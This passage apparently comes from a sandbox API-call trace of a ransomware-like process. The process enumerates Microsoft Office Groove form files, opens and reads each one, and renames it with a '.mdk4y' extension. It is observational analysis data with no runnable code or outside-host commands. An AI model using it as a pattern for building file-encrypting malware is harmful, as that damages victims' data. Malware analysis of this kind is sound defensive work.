AreFileApisANSI () returned 1 [0218.752] GetACP () returned 0x4e4 [0218.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_left.gif", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_left.gifif", lpUsedDefaultChar=0x37dda8) returned 15 [0218.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398300000) returned 1 [0218.753] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x171, lpOverlapped=0x0) returned 1 [0218.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398400000) returned 1 [0218.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398400000) returned 1 [0218.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left.gif.mdk4y")) returned 1 [0218.755] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.755] AreFileApisANSI () returned 1 [0218.755] GetACP () returned 0x4e4 [0218.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_left_over.gif", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_left_over.gife.gif", lpUsedDefaultChar=0x37dda8) returned 20 [0218.755] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398500000) returned 1 [0218.755] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x176, lpOverlapped=0x0) returned 1 [0218.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398600000) returned 1 [0218.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398600000) returned 1 [0218.756] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_left_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_left_over.gif.mdk4y")) returned 1 [0218.757] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.757] AreFileApisANSI () returned 1 [0218.757] GetACP () returned 0x4e4 [0218.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_mid.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_mid.gifer.gif", lpUsedDefaultChar=0x37dda8) returned 14 [0218.757] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398800000) returned 1 [0218.758] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb5, lpOverlapped=0x0) returned 1 [0218.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398900000) returned 1 [0218.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829398900000) returned 1 [0218.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid.gif.mdk4y")) returned 1 [0218.760] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.760] AreFileApisANSI () returned 1 [0218.760] GetACP () returned 0x4e4 [0218.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_mid_over.gif", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_mid_over.giff", lpUsedDefaultChar=0x37dda8) returned 19 [0218.760] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399100000) returned 1 [0218.761] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xb7, lpOverlapped=0x0) returned 1 [0218.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399100000) returned 1 [0218.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399200000) returned 1 [0218.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_mid_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_mid_over.gif.mdk4y")) returned 1 [0218.763] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.763] AreFileApisANSI () returned 1 [0218.763] GetACP () returned 0x4e4 [0218.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_right.gif", cchWideChar=16, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_right.gifgif", lpUsedDefaultChar=0x37dda8) returned 16 [0218.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399400000) returned 1 [0218.764] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x171, lpOverlapped=0x0) returned 1 [0218.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399400000) returned 1 [0218.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399400000) returned 1 [0218.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right.gif.mdk4y")) returned 1 [0218.765] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.765] AreFileApisANSI () returned 1 [0218.765] GetACP () returned 0x4e4 [0218.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="button_right_over.gif", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="button_right_over.gif.gif", lpUsedDefaultChar=0x37dda8) returned 21 [0218.766] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399600000) returned 1 [0218.766] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x244, lpOverlapped=0x0) returned 1 [0218.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399700000) returned 1 [0218.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399700000) returned 1 [0218.768] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\button_right_over.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\button_right_over.gif.mdk4y")) returned 1 [0218.768] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.768] AreFileApisANSI () returned 1 [0218.768] GetACP () returned 0x4e4 [0218.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CALENDAR.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="CALENDAR.GIF_over.gif", lpUsedDefaultChar=0x37dda8) returned 12 [0218.769] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\calendar.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829399900000) returned 1 [0218.769] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x383, lpOverlapped=0x0) returned 1 [0218.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829400000000) returned 1 [0218.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829400000000) returned 1 [0218.771] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\calendar.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\CALENDAR.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\calendar.gif.mdk4y")) returned 1 [0218.772] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.772] AreFileApisANSI () returned 1 [0218.772] GetACP () returned 0x4e4 [0218.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DELETE.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="DELETE.GIFIF", lpUsedDefaultChar=0x37dda8) returned 10 [0218.772] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\delete.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829400300000) returned 1 [0218.773] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x271, lpOverlapped=0x0) returned 1 [0218.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829400400000) returned 1 [0218.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829400400000) returned 1 [0218.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\delete.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\DELETE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\delete.gif.mdk4y")) returned 1 [0218.776] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.776] AreFileApisANSI () returned 1 [0218.776] GetACP () returned 0x4e4 [0218.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ERROR.GIF", cchWideChar=9, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ERROR.GIFF", lpUsedDefaultChar=0x37dda8) returned 9 [0218.777] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\error.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829403400000) returned 1 [0218.804] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x369, lpOverlapped=0x0) returned 1 [0218.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829403800000) returned 1 [0218.808] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829403800000) returned 1 [0218.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\error.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ERROR.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\error.gif.mdk4y")) returned 1 [0218.811] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.811] AreFileApisANSI () returned 1 [0218.811] GetACP () returned 0x4e4 [0218.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM.ICO", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FORM.ICOF", lpUsedDefaultChar=0x37dda8) returned 8 [0218.811] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829404200000) returned 1 [0218.813] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13e, lpOverlapped=0x0) returned 1 [0218.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829404300000) returned 1 [0218.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829404300000) returned 1 [0218.814] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico.mdk4y")) returned 1 [0218.815] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.815] AreFileApisANSI () returned 1 [0218.815] GetACP () returned 0x4e4 [0218.815] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM.JS", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FORM.JSO", lpUsedDefaultChar=0x37dda8) returned 7 [0218.815] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829404500000) returned 1 [0218.816] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x135f4, lpOverlapped=0x0) returned 1 [0218.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829405000000) returned 1 [0218.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829405000000) returned 1 [0218.821] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.js.mdk4y")) returned 1 [0218.823] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.823] AreFileApisANSI () returned 1 [0218.823] GetACP () returned 0x4e4 [0218.823] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBlankPage.html", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBlankPage.htmlif", lpUsedDefaultChar=0x37dda8) returned 19 [0218.823] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829405400000) returned 1 [0218.824] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x45f, lpOverlapped=0x0) returned 1 [0218.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829405500000) returned 1 [0218.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829405500000) returned 1 [0218.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBlankPage.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsblankpage.html.mdk4y")) returned 1 [0218.827] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.828] AreFileApisANSI () returned 1 [0218.828] GetACP () returned 0x4e4 [0218.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FormsBrowserUpgrade.html", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="FormsBrowserUpgrade.htmlf", lpUsedDefaultChar=0x37dda8) returned 24 [0218.828] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829405900000) returned 1 [0218.829] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x852, lpOverlapped=0x0) returned 1 [0218.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406000000) returned 1 [0218.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829406000000) returned 1 [0218.831] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsBrowserUpgrade.html.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsbrowserupgrade.html.mdk4y")) returned 1 [0218.831] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.831] AreFileApisANSI () returned 1 [0218.831] GetACP () returned 0x4e4 [0218.831] WideCharToMultiByte 